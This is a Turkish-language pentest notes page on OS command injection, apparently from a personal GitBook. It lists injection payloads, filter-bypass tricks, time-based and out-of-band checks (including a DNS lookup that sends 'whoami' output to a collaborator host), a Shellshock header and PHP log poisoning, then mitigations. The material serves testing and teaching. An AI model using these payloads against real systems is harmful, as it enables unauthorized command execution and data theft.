🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • OS Command Injection Nedir?
  • Yöntemler
  • Ozel Karakterler ile Komut Eklemeye Çalışma
  • Blacklist Bypass
  • Timeout ile Injection
  • Çıktı Yönlendirme
  • DNS İsteği
  • Ping Atma
  • Shellshock Useragent
  • PHP Log Poisoning
  • Önlemler
  • Araçlar
  • Kaynaklar

Was this helpful?

  1. Web Application Pentesting

OS Command Injection

PreviousNoSQL InjectionNextXXE Injection

Last updated 7 days ago

Was this helpful?

OS Command Injection Nedir?

  • OS Command Injection, bir saldırganın bir uygulamayı çalıştıran sunucuda işletim sistemi komutlarını yürütmesine olanak tanır.

  • Genellikle saldırgan, hosting altyapısının diğer bölümlerine saldırmak için bu zafiyetinden yararlanır ve saldırıyı kuruluş içindeki diğer sistemlere yayar.

Yöntemler

Ozel Karakterler ile Komut Eklemeye Çalışma

Aşağıdaki özel karakterleri parametrelerin sonuna eklemeyi deneyebiliriz.

&&whoami
&whoami
|whoami 
||whoami
;whoami
"&&whoami"
%0awhoami
`whoami`
$(whoami)
0x0awhoami
\nwhoami

Blacklist Bypass

;w"h"o"am"i
;who$@ami
;who^ami


# Boşluk yasak ise IFS yerine geçer
;uname${IFS}-a
# Tab Karakteri de boşluk yerine geçer
;uname%09-a
# Boşluk olmadan
;{uname,-a}
# Noktalı virgün (;) yerine geçer
${LS_COLORS:10:1}whoami
# (/) yerine geçer
;ls ${PATH:0:1}

Timeout ile Injection

Eğer istek sonucu bir yanıt almıyorsak aşağıdaki payloadları deneyebiliriz. Eğer yanıt gecikmeli geliyorsa zafiyet olabilir.

;sleep 10

Çıktı Yönlendirme

Eğer zafiyet olduğunu biliyorsak ve komutun çıktısını okumak istiyorsak komutun çıktısını bir dosyaya yazabiliriz.

;whoami > /var/www/images/whoami.txt

DNS İsteği

Eğer yanıtta bir çıktı almıyorsak kendimize dns isteği atmayı deneyebiliriz.

;nslookup x.COLLABORATOR
;nslookup `whoami`.COLLABORATOR

Ping Atma

# Linux
;ping <IP> -c 5
tcpdump -i eth0 icmp
# Windows
;ping <IP> -n 5

Shellshock Useragent

User-Agent: () { :;}; whoami

PHP Log Poisoning

User-Agent: <?php system('whoami') ?>

Önlemler

  • Hiçbir zaman uygulama üzerinden işletim sistemi komutu çağrılmamalıdır. Bu tür işlemler için API kullanılarak işlemler yapılmalı.

  • Eğer kesin komut çağırmamız gerekiyorsa, girdi üzerinde whitelisting yapılmalı, örneğin sayı değilse isteği reddet gibi.

  • İşletim sistemindeki özel karakterler blackliste alınabilir fakat bu sağlıklı bir yöntem değildir saldırgan önlemi atlatmak için farklı yollar bulabilir.

Araçlar

Kaynaklar

🕸️
https://github.com/commixproject/commix
https://portswigger.net/web-security/os-command-injection